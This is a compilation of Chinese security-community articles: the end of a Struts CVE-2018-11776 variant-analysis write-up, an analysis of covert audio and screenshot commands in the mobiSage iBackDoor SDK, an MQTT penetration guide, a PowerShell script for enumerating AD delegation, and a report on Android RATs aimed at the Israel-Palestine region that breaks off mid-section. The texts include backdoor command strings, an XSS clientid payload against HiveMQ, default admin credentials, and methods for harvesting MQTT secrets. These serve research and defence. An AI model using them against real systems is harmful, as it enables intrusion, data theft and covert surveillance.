doExecute(lastFinalLocation, invocation);
}
接着conditionalParse()经过location进入translateVariables()，这将param评价为引擎盖下的OGNL表达式:
protected String conditionalParse(String param, ActionInvocation invocation) {
if (parse && param != null && invocation != null) {
return TextParseUtil.translateVariables(
param,
invocation.getStack(),
new EncodingParsedValueEvaluator());
} else {
return param;
}
}
所以,当ServletActionRedirectResult中没有设置namespace参数时，代码从ActionProxy获取namespace，然后将其作为OGNL表达式进行评估。为了测试这个，在演示应用程序中，我通过以下方法替换了showcase应用程序中一个配置文件的struts标记(例如struts-actionchaining.xml)：
<struts>
<package name="actionchaining" extends="struts-default">
<action name="actionChain1" class="org.apache.struts2.showcase.actionchaining.ActionChain1">
<result type="redirectAction">
<param name = "actionName">register2</param>
</result>
</action>
</package>
</struts>
然后我在本地运行showcase应用程序，然后访问一个URL，该URL旨在触发此漏洞并执行shell命令,从而在我的计算机上打开计算器应用程序。
这起了作用(花了一些时间绕过OGNL沙箱之后)。在这个阶段，更多的细节我将会在稍后的一个恰当的时机揭露它们。
不仅如此，还有来自ctionChainResult,
PostbackResult和ServletUrlRenderer等的一些不可信的来源，它们也起作用了！PortletActionRedirectResult可能也能用，但我没有测试。四个RCEs已经足以证明问题的严重性。
## 结论
在这篇文章中，我展示了通过使用已知的漏洞来帮助构建应用程序的污染模型，而你只需将困难的工作留给QL DataFlow
library就可以发现新的漏洞。特别是，通过研究Struts中前三个RCEs，我们最终发现了另外四个!
鉴于S2-032、S2-033和S2-037都是在短时间内发现的，安全研究人员研究了S2-032以寻找类似的问题，并发现了S2-033和S2-037。所以这里最大的问题是：考虑到我在这里发现的漏洞(S2-057)也来自一个类似的污染源，安全研究人员和供应商怎么会漏掉这个漏洞，直到两年后才发现呢？在我看来，这是因为S2-032、S2-033和S2-037之间的相似之处在某种意义上是本地的，因为它们都发生在源代码中类似的位置(都在REST插件中)。S2-057和S2-032之间的相似性在语义层面上要高得多。它们是由受污染的源代码连接的，而不是源代码的位置，因此任何软件或工具如果能够成功地找到类似的变体，都需要能够在整个代码库中执行这种语义分析，正如我现在演示的那样，这可以用QL来完成。
如果你认为这更像是一种侥幸，因为我假设ActionProxy中的namespace字段是突然被污染的，那么请继续关注下一篇文章，这是我接下来将要详细介绍的，并根据首要原则从HttpRequestServlet开始进行一些污点跟踪。我还将分享我的bug搜索工具箱中的一些工具，以及一些改进查询的技巧。在这样做的过程中，我们还将看到如何使用QL捕获S2-045，这是Equifax遇到过的漏洞！
原文链接：https://lgtm.com/blog/apache_struts_CVE-2018-11776 | 社区文章 |
# mobiSage SDK iBackDoor恶意行为分析及重现报告
|
##### 译文声明
本文是翻译文章，文章来源：xc_panda@360NirvanTeam
译文仅供参考，具体内容表达以及含义原文为准。
******前言:**
艾德思奇(adSage)成立于2007年,数字营销公司,致力于为客户提供数字媒体营销领域的服务。
FireEye 爆iBackDoor高危后门iOS APP,涉及5.3.3 to 6.4.4 版本,之后 7.0.5版本清除了后门功能。
iBackDoor 被爆有后门,可以上传录音,截屏,增删改查app数据,利用URL
scheme打开其他app,安装企应用等功能,本文通过对iBackDoor样本的分析,具体分析它的功能以及还原测试iBackDoor 录音和截屏的功能。
360NirvanTeam(涅槃团队)具体分析了iBackDoor的录音和截屏功能,并还原实现测试。
**0x01 样本抓取**
因为最新版本SDK已经修复了这个功能,涅槃团队的xc_panda在网络上搜索没有找到样本SDK,但通过对特征码的追寻找到了样本,然后开始分析。
**0x02 主要实现流程分析**
iBackDoor首先发送设备自身的JS包信息到 http://entry.adsage.com/d/
网址(网址是加密存放的),检查是否已经是最新,如果不是返回最新打包JS代码的url,版本等
信息。
如图可见目前的JS包还存在,没有被撤掉。
然后GET方式获取最新版本的JS打包zip文件,解压缩,放在App Cache目录下。
zip 的目录结构如下:
APP 首先会访问 index.html,然后 index.html会加载sdkjs.js,sdkjs.js包含了JS代码,App
在函数中通过js代码传递的参数来进行函数调用。也相对的增加了安全工作者分析的难度。
index.html代码如下:
然后它会调用 js代码
在html文件中的loadResilt函数被发送到APP后,APP会执行相应的函数。它动态的获取函数地址,然后执行。如 发送 loadResult 就执行
loadResult: 和 loadResult:withDict: 函数。看 MSageCoreJSManagerPlugin
是否有这两个函数。如果有就执行。能够使用的函数如下所示,通过函数名称能猜测相应的功能。:
-[MSageCoreJSManagerPlugin versionUpdate:] __text 000B8490 000001D8 R . . . B T .
-[MSageCoreJSManagerPlugin loadResult:] __text 000B8668 000001CE R . . . B T .
-[MSageCoreJSManagerPlugin inBlackList:] __text 000B7DE4 0000030C R . . . B T .
-[MSageCoreJSManagerPlugin heartbeat:] __text 000B8838 00000002 R . . . . T .
-[MSageCoreJSManagerPlugin getVersionList:] __text 000B80F0 000000E8 R . . . B T .
-[MSageCoreJSManagerPlugin getVersionInfo:] __text 000B81D8 000002B6 R . . . B T .
调试JS代码发现,代码最后在下面这段代码循环,不停的遍历命令队列,发送命令给APP,让APP执行,分析APP发现 当发送
adsagejs://ready时,APP 并没有执行什么特殊功能。
分析APP跟踪参数如下:
可以看到可以通过控制发送不是adsagejs://开头来控制执行一些功能,如安装企业应用,打电话,发邮件短信等。
如果是 adsagejs:// 开头的会执行如下函数:
APP执行JS代码获得JS代码中传递的命令。然后将命令添加到队列如下:
然后依次解析命令,执行命令,判断结果,如下图:
分析APP 发现,当JS代码中出现
adsage.exec(className, methodName, argsList, onSuccess, onFailure);
语句,App就会相应的执行某些函数。比如可以发送录音,截图,播放音乐等操作。
当在传递类名时,会作一个转换,将对应类名key 换成 对应类名value。
Key: MSageCoreCompass for value: MSageCoreCompass
Key: MSageCoreJSManager for value: MSageCoreJSManagerPlugin
Key: MobiSageConfig for value: MobiSageConfigPlugin
Key: MSageCoreSystemDB for value: MSageCoreSystemDB
Key: MSageCoreMotion for value: MSageCoreMotion
Key: MSageCoreCleanCache for value: MSageCoreCleanCache
Key: MSageCoreDevice for value: MSageCoreDevice
Key: MSageCoreKeyChain for value: MSageCoreKeyChain
Key: MSageCoreKVDB for value: MSageCoreKVDB
Key: MSageCoreLocation for value: MSageCoreLocation
Key: MSageCoreNetwork for value: MSageCorePluginNetWork
Key: MSageCoreUIManager for value: MSageCoreUIManagerPlugin
Key: Logger for value: MSageCoreLogger
Key: MobiSageJSAdPlugin for value: MobiSageJSAdPlugin
Key: MSageCoreTool for value: MSageCoreEncryptPlugin
Key: MSageCoreFile for value: MSageCorePluginFileModule
然后每个类名对应很多的函数,如下所示例:
如录音和截图操作,需要执行JS命令:
录音:
adsage.exec("MSageCoreUIManager", "captureAudio", [“xcq_panda", 10, 40], 0, 0);
截图:
adsage.exec("MSageCoreUIManager", "captureImageRequest", {"frame":{"top":0,"left":0,"width":400,"height":400},"position":1,"webViewId":"adsage"}, 0, 0);//开始摄像
adsage.exec("MSageCoreUIManager", "captureImage", ["duoyu?",1,"captureImage.png"], 0, 0);//截图
adsage.exec("MSageCoreUIManager", "captureImage", ["duoyu?",2,"captureImage.png"], 0, 0);//停止截图
JS代码中出现这些代码,那么就是传递命令给APP,然后执行相应操作。
**0x03 JS代码执行分析**
JS 最后会循环在如下图所示地方:
如果想执行JS代码,那么我们可以在JS代码中添加代码执行功能。
如我们需要截图,就修改JS代码如下:
****
**0x04 录音和截图功能具体分析**
录音分析:
当JS代码中执行 adsage.exec(“MSageCoreUIManager”, “captureAudio”, [“xcq_panda”, 10,
40], 0, 0); 命令,APP会执行如下图代码:
接着执行函数char __cdecl -[MSageCoreCaptureManager
startAudioCapture:withPlugeIn:](struct MSageCoreCaptureManager *self, SEL a2,
id a3, id a4)
逆向代码如下:
AVAudioSession * avSession = [[AVAudioSession sharedInstance] isInputAvailable];
[avSession setCategory:AVAudioSessionCategoryRecord error:];
[avSession setActive:1 error:nil];
//这是录音前的准备,要实现录音,还需要AVAudioRecorder对象
NSString *tmp = [NSTemporaryDirectory() stringByStandardizingPath];
AVAudioRecorder *AvRecorder =
[AVAudioRecorder alloc] initWithURL:[NSURL fileURLWithPath:[NSString stringWithFormat:@"%@/audio_%03d.wav",tmp,i] isDirectory:1]
settings:0 error:nil];
[AvRecorder setDelegate:self];
[AvRecorder setMeteringEnabled:1];
[AvRecorder prepareToRecord];
[AvRecorder record];
[AvRecorder recordForDuration:param];
代码解释:控制JS代码控制录音时间,APP 录音需要用户赋予权限,第一次运行会请求访问摄像机的权限。
截图分析:
截图操作有点复杂了,需要三条JS命令来进行截图。
adsage.exec("MSageCoreUIManager", "captureImageRequest", {"frame":{"top":0,"left":0,"width":400,"height":400},"position":1,"webViewId":"adsage"}, 0, 0);//开始摄像
APP收到JS代码后执行命令如下:
接着执行
逆向代码如下:
AVCaptureSession *session = [[AVCaptureSession alloc] init];
[session setSessionPreset:AVCaptureSessionPresetPhoto];
NSArray *devices = [AVCaptureDevice devicesWithMediaType:AVMediaTypeVideo];
或者AVCaptureDevice *device = [AVCaptureDevice defaultDeviceWithMediaType:AVMediaTypeVideo];
AVCaptureDeviceInput *input = [AVCaptureDeviceInput deviceInputWithDevice:device error:&error];
[session addInput:input];
NSDictionary *dict = [[NSDictionary alloc] initWithObjectsAndKeys:@[AVVideoCodecJPEG, AVVideoCodecKey, 0]];
AVCaptureStillImageOutput * out = [[[AVCaptureStillImageOutput alloc] init] setOutputSettings:dic];
[session addOutput:out];
[session startRunning];
AVCaptureVideoPreviewLayer *layer =
[[AVCaptureVideoPreviewLayer layerWithSession:session] setVideoGravity:AVLayerVideoGravityResizeAspect];
[[UIView alloc] layer addSublayer:layer];
NSInteger num = [[UIApplication sharedApplication] statusBarOrientation];//The current orientation of the app's status bar.
[CATransaction begin];
[[layer connection] setVideoOrientation:num+1];
代码解释:设置开始录像。
然后JS代码后面还要紧跟着另外两条JS语句:
adsage.exec("MSageCoreUIManager", "captureImage", ["xcq_panda",1,"captureImage.png"], 0, 0);//截图
adsage.exec("MSageCoreUIManager", "captureImage", [“xcq_panda",2,"captureImage.png"], 0, 0);//停止截图
执行代码如下图:
代码解释:当传递参数不同,执行函数也不同,如上图,解析 数组第二个元素是2 那么结束,如果是1就截图。
截图操作并不需要弹框提示需要权限。
**0x05 录像演示录音和截图功能:**
****
**0x06 总结**
1)此SDK明显不是简单的进行广告推广,具有明显的恶意行为,截图,录音等。
2)用JS 代码配合Object C 语言来进行交互也算是一种比较”新颖“的方式,如果再加入混合加密的方式,会更增加逆向的难度。
3)受影响app列表单独给出。
**0x07 参考文献**
<https://www.fireeye.com/blog/threat-research/2015/11/ibackdoor_high-risk.html> | 社区文章 |
# 物联网安全之MQTT渗透实战
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
大家好，我是银基Tiger Team的BaCde。上一篇 [物联网安全之MQTT协议安全
](https://www.anquanke.com/post/id/212335)主要介绍了MQTT安全的一些基础知识。今天将在上一篇基础上来说说实战中MQTT的利用。
在整个物联网或车联网架构中，MQTT的部分通常应用在移动端、管理端、Web端、设备端。而MQTT协议中的三种角色是发布者（PUBLISHER）、订阅者（SUBCRIBER）、代理（BROKER）。发布者（PUBLISHER）和订阅者（SUBCRIBER）通过代理（BROKER）来发布和订阅消息。这两个角色在实际场景中主要应用是移动端、Web端、设备端；代理（BROKER）一般是服务器，可以由activemq、hivemq、emqx等许多软件来搭建。在开发过程中，不同的设备，技术特点也有所不同。其使用的协议除了mqtt外，Web端通常使用websocket的方式来进行收发消息。
## 0x00 获取MQTT认证信息
目前对于MQTT的开发中的安全还尚未受到广泛关注，这使得有多种方式在移动端、Web端、设备端获取到MQTT的认证与连接信息。通过获取的信息来进一步实现越权访问、发布恶意内容等攻击。
由于设备方面暂未找到案例，这里将以Web端和移动端案例来进行说明。
### **开发的一点知识**
通过查阅一些开发资料，可以发现常见的几个MQTT的javascript库：[Paho.js](https://www.hivemq.com/blog/mqtt-client-library-encyclopedia-paho-js)、[MQTT.js](https://www.hivemq.com/blog/mqtt-client-library-mqtt-js)、[mqtt-elements](https://www.hivemq.com/blog/mqtt-client-library-encyclopedia-mqttelements)、[MQTT.DART](https://www.hivemq.com/blog/mqtt-client-library-mqtt-dart)
在实际的研究过程中发现尤其以paho.js居多。在实际的渗透过程中需要多留意，使用本库基本可以确定Web端应用了MQTT的。以下我就介绍几个获取MQTT的几个小技巧。
### **实战工具**
* Chrome 浏览器
* Burp Suite
* source detecotor
好了，有了这几个就够了。开始我们的实战之旅。
### **获取方法**
1、 **web应用中直接捕获**
在浏览目标时我一般会打开Chrome浏览器的开发者调试工具，通过查看请求信息或这直接搜索mqtt的字样来确定是否使用MQTT的javascript文件。另外一个就是可以查看websockets请求看是否有进行mqtt的连接操作等。
一旦发现使用MQTT后，就可以继续查看javascript文件来找到连接的host、端口、用户名以及密码信息。对于目前流行的云厂商，一般还会开启tls。或者这些信息后，我们就可以进行深入的分析或利用。
除此之外，我也喜欢开启Brup suite记录通信流量，而且Brup
suite支持websockets的记录。通过对历史记录的搜索功能可以快速发现MQTT相关内容。也可以根据个人习惯来快速确定。值得一提的是，一些内容在访问主页时就可以发现，有一些则会在一些其他页面，对于一些比较多的页面，可以使用爬虫的方式来提高效率，如通过headless的方式或者使用一些开源的2.0爬虫也可以。所有爬虫的流量经过Burp
suite即可。对于流量比较大的，可以使用burp的loggeer++插件将流量记录到elasticsearch中。当然这里使用其他的代理也可以，如mitmproxy、goproxy等。
除此之外，还可以通过分析javascript文件中的连接信息，进行批量爬取来发现mqtt信息。
2、 **通过.map文件获取源代码来获取**
在实际的过程中可能会遇到只有一个登录页面，登录页面只有引用mqtt库的js文件，并没有发起请求。爬虫也无法访问到页面时怎么办呢？目前的许多网站喜欢使用webpack打包javascript文件，其中包括了vue开发的站点。在这种情况时，可以试试是否存在.map文件，一旦在实战中探测到这类文件，那么就可以下载目标网站的javascript的源代码文件。这里我比较喜欢使用source
detecotor来实现。关于source detecotor的安装与使用可以看<https://bacde.me/post/unpack-webpack-via-sourcemap/>
下图是通过下载源代码来发现其中的配置信息。
3、 **爆破js文件，从js文件中获取**
在上述方法都失效的情况下，还可以通过爆破js文件的路径来尝试获取信息。观察目标的js存放路径，结合常见的js文件路径生成字典进行探测。
这里列举几个常见js文件名，大家可以收集自己的：
mqtt.js
config.js
main.js
mqtt.class.js
app.js
env.js
default.js
index.js
url.js
可以多试试，或许有意想不到的效果。可以看看如下两个例子：
4、 **android应用各种获取配置信息**
除web端之外,移动端可以通过反编译apk源代码搜索mqtt等关键字、查看xml配置文件来发现。除此之外，在研究中发现一些车企的移动端也使用了MQTT，但是他们将内容放在了so文件中，由于时间关系，本次还没来得及对其进行深入的分析。
以下这个例子就是反编译app源码后，发现嵌入了一些页面文件，其中可以看到mqtt的配置信息。
5、 **一些关键字**
paho-mqtt/1.0.1/mqttws31.min.js
paho-mqtt.js
mqtt.aliyuncs.com
mqtt.js
iotdevicegateway
一旦发现上述内容，基本上可以确定使用了mqtt。
## 0x01 连接MQTT
1、 **连接发现的mqtt**
web端中的mqtt一般通过websockets进行连接，使用mqtt-pwn是无法连接成功的。这里可以通过websockets的客户端进行连接。将发现的mqtt内容填写如工具中即可进行连接。连接成功后可以发布和订阅内容，订阅的topic一般也写在代码中。
推荐一个在线工具<http://tools.emqx.io/>。界面如下图：
2、 **带来的风险**
获取了这些信息除了跟web代码中的存在什么样的安全问题呢？
**敏感信息泄漏**
在实际的研究过程中可以发现，通过获取的信息连接后，我们可以查看到其他用户的信息，其中会包含敏感信息。这就导致了敏感信息泄漏。下图中的系统使用了阿里云的MQTT，由于泄漏了mqtt配置信息，通过连接并订阅topic，可以看到泄漏了不该我们应该看到的信息，如用户手机号码、昵称、以及管理员与用户对话内容。
**存储型xss漏洞**
连接成功后我们可以直接发布消息到队列中，这里我们可以直接绕过web端的防御，通过fuzz构造恶意的数据，比如植入xss攻击代码来实现攻击web端或移动端的用户。
另外，网络上公开的一些管理平台同样因为过滤不严，导致存在xss。这可以使我们直接攻击管理员。这里介绍两个漏洞，CVE-2020-13821和CVE-2020-13932。编号CVE-2020-13821漏洞的产品是HiveMQ
Broker management
console中，攻击者可以通过恶意的clientid来攻击admin的控制台；编号CVE-2020-13932漏洞的产品是Apache ActiveMQ
Artemis,攻击者可通过构造恶意的clientid或topics名字来攻击admin的控制台。
这里测试CVE-2020-13821漏洞，该漏洞在hivemq4.4.0版本中已经修复，本地搭建的版本为hivemq 4.3.2。
docker命令：`docker run -p 8080:8080 -p 1883:1883 hivemq/hivemq4:4.3.2`
以上映射的端口可以自己定义，我这里环境使用的是8990和2883。docker启动后，即可打开`http://127.0.0.1:8990`
（可改为自己的端口，默认是8080），用户名和密码为admin和hivemq。
我们可以使用mqttfx进行连接，在clientid中加入xss payload `<img/src=x
onerror=alert(1)>`，ip和端口填入自己环境或目标信息，点击连接即可，当然在实战中如果需要用户名和密码，填入即可。
回到hivemq的管理平台，点击`clients`菜单，点击`Refresh Snaphot`即可触发执行payload，这就是一个存储型的XSS。
**可获取其他更多信息**
通过连接上mqtt，可以尝试枚举其他topic的，来后去更多的内容，以此来检查是否存在更加敏感的信息，如gps位置、用户数据等。这里推荐一个工具mqttfx，跨平台软件。下面举一个例子。
首先从web页面中获取到相关信息。
接下来可以获取web扫描全部端口或nmap来识别mqtt协议。找到mqtt端口。通常端口都为默认的1883。
可以通过获取的连接信息来添加到软件中或者使用mqtt-pwn进行操作，下图为使用mqttfx进行连接。接下来可以尝试后去更多信息来进行渗透。
也可以使用mqtt-pwn进行连接，mqtt-pwn列出了系统的topics。
## 0x02 MQTT管理平台
对于MQTT应用之外，还可以关注管理平台。目前EMQ X是其中比较流行的一个。
EMQ X全称 Erlang/Enterprise/Elastic MQTT Broker，它是基于 Erlang/OTP
语言平台开发，支持大规模连接和分布式集群，发布订阅模式的百万级开源 MQTT 消息服务器。EMQ X常见端口和默认密码为：
TCP 端口： 1883
Websocket 端口： 8083
TCP/TLS 端口： 8883
Websocket/TLS 端口： 8084
管理平台端口：18083
默认用户名密码：admin/public
FOFA Dork：`(port="18083" && title="dashboard") || body="href=/static/emq.ico"`
通过登录平台，可以很方便的看到客户端连接、主题、订阅信息等，还可以通过添加规则来过滤数据。本地搭建的效果如下：
除此之外rabbitmq、hivemq等也都有管理的平台，这里可以参考网络上的内容即可，这里不做赘述。
## 0x03 总结
本文主要研究在实际的应用中如何获取mqtt信息，以及获取的信息带来的潜在风险。MQTT方面的安全还有很多内容等待着我们去挖掘。我也在研究中，希望以此抛砖引玉，能够更多的大佬一起交流和研究。
最后的重点，建议搭建本地搭建环境或者在授权情况下进行测试，不要对外网目标进行非法测试和破坏。否则造成的一切后果与本人无关。
## 0x04 引用
[https://docs.aws.amazon.com/iot/latest/developerguide/mqtt-ws.html](https://www.eclipse.org/paho/files/jsdoc/Paho.MQTT.Client.html)
[https://www.hivemq.com/blog/mqtt-over-websockets-with-hivemq/](https://www.eclipse.org/paho/files/jsdoc/Paho.MQTT.Client.html)
<https://www.eclipse.org/paho/files/jsdoc/Paho.MQTT.Client.html>
<http://tools.emqx.io/>
<https://bacde.me/post/unpack-webpack-via-sourcemap/>
[https://payatu.com/advisory/hivemq-mqtt-broker—-xss-over-mqtt](https://payatu.com/advisory/hivemq-mqtt-broker---xss-over-mqtt)
<https://nvd.nist.gov/vuln/detail/CVE-2020-13932> | 社区文章 |
# 如何查找活动目录委派
##### 译文声明
本文是翻译文章，文章原作者 notsosecure，文章来源：notsosecure.com
原文地址：<https://www.notsosecure.com/hunting-the-delegation-access/>
译文仅供参考，具体内容表达以及含义原文为准。
## 一、前言
活动目录（AD）委派（delegation）是一个非常有趣的话题，我们之前已经在一篇[文章](https://www.notsosecure.com/active-directory-delegation-manual-analysis/)和某次[研讨会](https://blackhat.com/html/webcast/05172018-active-directory-delegation-dissected.html)中讨论过这方面内容。总而言之，活动目录可以将某些权限委派给非（域/森林/企业）管理员用户，以便管理员对特定AD区域执行管理任务。如果配置不当，那么攻击者也可以利用这种功能入侵AD。
先前我们只讨论了如何手动查找这类委派，大家可以阅读另一篇[文章](https://adsecurity.org/?p=3658)，了解其他一些工具在手动分析中的应用。在本文中，我们将介绍如何利用脚本，以（半）自动化的方式在网络中搜索这类委派。
## 二、实验环境
假设我们面临的是如下场景：
* 具备某个低权限域用户访问权限，该账户有一些限制条件，比如AppLocker禁用此账户执行powershell。
* 在加入域的某台主机上具备本地管理员访问权限。
* 可以利用这个本地管理员权限运行未受限的powershell脚本，然而我们需要登录域才能在AD域上执行枚举操作。
为了完成任务，我们准备使用两种不同的方法：
* 使用AD ACLScanner（半自动化方法）
* 使用NSS提供的自定义Powershell脚本（全自动化方法）
## 三、ADACLScanner
这款工具由canix1开发，可以用于通用型ACL扫描，大家可以访问[GitHub](https://github.com/canix1/ADACLScanner)下载该工具。我们可以利用该工具来搜索AD委派配置情况。下面让我们以某个例子来演示整个操作过程：
运行powershell脚本后，ADACLScanner为我们提供了一个非常友好的GUI（很少有powershell脚本能提供这么友好的GUI）。
图1. ADACLScanner
假设我们接入的AD名为`plum`，地址为`192.168.3.215`，如下图所示：
图2. 连接AD
当我们点击第一列的“Connect”按钮时，就会弹出对话框提示输入域凭据，以便枚举目标节点。需要注意的是，这里可以使用低权限域用户的凭据。
图3. 请求域凭据
输入正确的域凭据后，我们就能看到可用的节点，如下图所示：
图4. 枚举AD节点
现在我们需要选中第一列节点，确保已勾掉“Inherited Permissions”复选框，然后点击“Run
Scan”按钮开始扫描。在上图中，我们选中的是`DC=plum,DC=local`。扫描完成后就会生成扫描报告，如下图所示：
图5. ACL Scanner报告
如果我们选中“Resions”节点，再次扫描，那么最终报告有所不同。在报告中，我们可以发现Object列中代表我们扫描的目标节点，因此这里`OU`的值为`Regions`。
图6. Regions OU的ACL报告
同样，如果我们扫描USA OU，可以看到如下报告，了解USA OU的委派权限信息。
图7. AD ACL Scanner对OU USA的扫描结果
这里比较麻烦的是我们需要手动搜索每个节点，分析每个条目，才能找到正确的委派信息。这个过程对小型网络来说问题不大，但如果面对的是大型网络，这将变成分析人员的噩梦。此时我们第二种方法就可以派上用场。
## 四、使用自定义Powershell脚本
大家可以先看一下我们团队定制的这个脚本的工作过程，请参考[此处视频](https://youtu.be/B2YHt00xQzg)。如果想直接使用这个自动化脚本，可以访问[此处](https://github.com/NotSoSecure/AD_delegation_hunting)下载。如果大家对脚本的具体实现非常感兴趣，接下来我们就一步一步来分析：
1、获取用户凭据
我们使用的是一个本地管理员用户（非域用户），因此每当我们尝试挂载AD驱动或者导入活动目录模块时，都会看到如下错误：
图8. 导入AD模块错误
为了解决这个问题，我们可以传入`-WarningAction SilentlyContinue`参数。
接下来具体看看脚本实现，第一部分代码如下：
Import-Module ActiveDirectory -WarningAction SilentlyContinue
# force use of specified credentials everywhere
$creds=Get-Credential
$PSDefaultParameterValues = @{"*-AD*:Credential"=$creds}
# GET DC Name
$dcname=(Get-ADDomainController).Name
New-PSDrive -Name AD -PSProvider ActiveDirectory -Server $dcname -Root //RootDSE/ -Credential $creds Set-Location AD:
由于我们没有使用域用户来执行操作，因此代码开头处我们使用`-WarningAction
SilentlyContinue`参数导入`ActiveDirectory`模块，这样我们就能在不挂载AD驱动的情况下导入该模块。接下来我们尝试获取用户凭据，添加用户凭据后，我们为包含`-AD`的所有命令设置`PSDefaultParameterValues`。接下来我们使用`Get-ADDomainController`命令获取服务器名称，然后配合新获取的凭据来挂载AD驱动。
其实如果我们已经以域用户身份登录，就无需执行这些操作。然而我们还是考虑了最坏的情况，比如我们可能以本地管理员身份访问目标系统，因此不受powershell访问限制，但所使用的域用户凭据权限较低。
2、遍历整个OU
获取所有域名、组织单元（Organization Units）以及ADObject。
$OUs = @(Get-ADDomain | Select-Object -ExpandProperty DistinguishedName)
$OUs += Get-ADOrganizationalUnit -Filter * | Select-Object -ExpandProperty DistinguishedName
$OUs += Get-ADObject -SearchBase (Get-ADDomain).DistinguishedName -SearchScope OneLevel -LDAPFilter '(objectClass=container)' | Select-Object -ExpandProperty DistinguishedName
这里代码第一行执行`Get-ADDomain`，获取`DistinguishedName`列，第二行执行`Get-ADOrganizationalUnit`（过滤器为`*`），获取这些对象的`DistinguishedName`，将其添加到`OUs`对象中。第三行获取匹配AD域`DistinguishedName`的AD对象，使用`LdapFilter`（过滤`objectClass=container`的对象），只筛选一层，然后再打印`DistinguishedName`列。
3、添加例外
$domain = (Get-ADDomain).Name
$groups_to_ignore = ( "$domain\Enterprise Admins", "$domain\Domain Admins")
# 'NT AUTHORITY\SYSTEM', 'S-1-5-32-548', 'NT AUTHORITY\SELF'
在这几行代码中我们排除了一些例外情况。我们首先获取域名，然后以此为基础添加待忽略的一些组。
4、提取相关的域用户/组权限
ForEach ($OU in $OUs) {
$report += Get-Acl -Path "AD:$OU" |
Select-Object -ExpandProperty Access | ? {$_.IdentityReference -match "$domain*" -and $_.IdentityReference -notin $groups_to_ignore} |
Select-Object @{name='organizationalUnit';expression={$OU}}, `
@{name='objectTypeName';expression={if ($_.objectType.ToString() -eq '00000000-0000-0000-0000-000000000000') {'All'} Else {$schemaIDGUID.Item($_.objectType)}}}, `
@{name='inheritedObjectTypeName';expression={$schemaIDGUID.Item($_.inheritedObjectType)}}, `
*
}
在前文第二步骤中，我们将所有信息存储在`$OUs`中，现在我们使用`ForEach`循环来提取这些信息并进一步处理。
前三行通过`ForEach`循环获取`$OUs`中所有单位的ACL路径，确保其中有与目标域匹配的`IdentityReference`，同时不属于需排除的组中（例外组参考第4个步骤）。从第4行开始，代码提取了某些对象，如`organizationalUnit`（使用`$OU`表达式）、`ObjectTypeName`（如果对象类型不等于root
GUID，则只根据对象类型的值提取`SchemaIDGUID`的详细信息）。
5、Inheritance == False
Inheritance为`false`是非常关键的一点。我们只需要筛选出满足该条件的那些行。
$filterrep= $report | Where-Object {-not $_.IsInherited}
这样就能确保输出结果中不包含继承的对象。
6、格式化输出结果
Write-Output ( $filterrep | Select-Object OrganizationalUnit,ObjectTypeName,ActiveDirectoryRights,IdentityReference | Format-Table | Out-String)
以上代码能以表格的形式格式化输出结果，列出在特定对象上未继承权限（即具备委派权限）的用户。默认情况下，委派权限会应用到整颗OU树上，因此如果上层OU具备该权限，那么除非显式移除权限，否则下层OU就会自动具备该权限。
图9. 自动化脚本处理结果
我们已经在最新的[2019版高级基础设施黑客教程](https://www.notsosecure.com/hacking-training/advanced-infrastructure-hacking/)中介绍了这种技术（还包括其他有用的技术），我们也会为内部安全和SOC团队提供内部培训和CTF服务，帮助大家提高技术水平。 | 社区文章 |
# 针对巴以地区长达三年的攻击活动揭露
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
## 0x01 主要发现
近期，360烽火实验室发现一起针对巴以地区攻击活动，攻击者使用了多种商业间谍软件，同时也基于开源代码构建了独有的间谍软件。通过分析，我们发现该攻击活动自2018年开始，并持续至今。根据攻击者使用的伪装对象，我们推测攻击目标可能为巴以地区。
## 0x02 伪装对象
攻击者通过将合法的应用打包进间谍软件进行伪装，伪装对象为各种社交应用、阿克萨电台、阿克萨清真寺、耶路撒冷指南、PDF查看器等应用。
图1 伪装对象图标
## 0x03 载荷投递
### 社交工具
Threema是一款付费的开源端到端加密即时通讯应用程序，我们发现攻击者会将间谍软件伪装成Threema应用进行攻击活动。通过伪装对象的CC信息，我们发现了疑似攻击者使用的钓鱼链接，该钓鱼链接伪装成Facebook网站。我们推测攻击者可能使用了Facebook进行传播钓鱼网站。下图为开源项目pihole-blocklists中记录的疑似攻击者使用的钓鱼网站。
图2 pihole-blocklists部分内容
另外，在部分受害者手机中，样本出现在WhatsApp文档路径中，进一步说明攻击者使用社交工具进行载荷投递。
图3 文件路径
### Google Drive
在关联溯源中，我们发现一个名为“تسريب-اجتماع-القائد-محمد-دحلان-و-المخابرات-المصريه.pdf（Mohammed Dahlan 指挥官和埃及情报会议 (MoM)
泄漏.pdf）”的文档，该文档内容模糊不清，并包含一个阿拉伯语段落，旨在引诱受害者点击Google Drive链接下载Adobe
Reader更新。其中Google Drive 链接指向一个名为”com.adobe.reader.apk”的恶意APK文件。文档内容如下图所示。
图4 文档内容
## 0x04 样本分析
攻击者使用了多个商业间谍软件进行攻击活动，包括SpyNote、Mobihok、WH-RAT、888RAT。除此之外还用了开源渗透测试框架Metasploit。
我们还发现攻击者自研的间谍软件EsecretRAT，EsecretRAT是攻击者开发的一款间谍软件，由于该间谍软件伪装成secret
chat应用，并且APK包名中包含 Esecret 字符串，我们将该间谍软件命名为EsecretRAT。
### SpyNote
SpyNote 是一款功能强大的商业间谍软件，具有强大的的功能，以及管理平台。其主要功能为：
– 文件管理
– 短信管理
– 通话记录管理
– 联系人管理
– 位置管理
– 账号管理
– 键盘记录
– 手机设置
– 拨打电话
– 拍照、录音、录像
– 实时录音
– 实时录像
– 获取应用列表
– 执行 shell 命令
– 聊天功能
SpyNote控制端界面如下图所示：
图5 SpyNote控制端
### Mobihok
Mobihok是一款基于SpyNote源码修改的商业间谍软件，除了具备SpyNote强大的功能外，还进行了一些免杀处理。其主要功能与SpyNote类似，控制端界面如下图所示：
图6 Mobihok控制端
### WH-RAT
WH-RAT是一款包含Android和Windows的远控工具，Android平台远控工具基于SpyNote源码二次开发，Windows平台远控基于NjRAT源码二次开发，其Android远控主要功能与SpyNote基本一致。控制端界面如下图所示：
图7 WH-RAT Android 控制端
图8 WH-RAT Windows 控制端
### 888RAT
888RAT是一款支持Windows、Android和Linux平台的商业远控工具，其Android 远控主要有以下功能：
– 文件管理
– 拍照、录音、录像
– GPS位置跟踪
– 获取联系人
– 获取短信
– 获取通话记录
– 获取已安装应用
– 电量监控
– 执行shell命令
– 获取设备信息
– 弹出通知消息
– 播放音频
– Facebook钓鱼
– 账号管理
– 非ROOT权限截图
下图为其官网的部分功能介绍：
图9 888RAT功能介绍
控制端界面如下图所示：
图10 888RAT控制端
### Metasploit
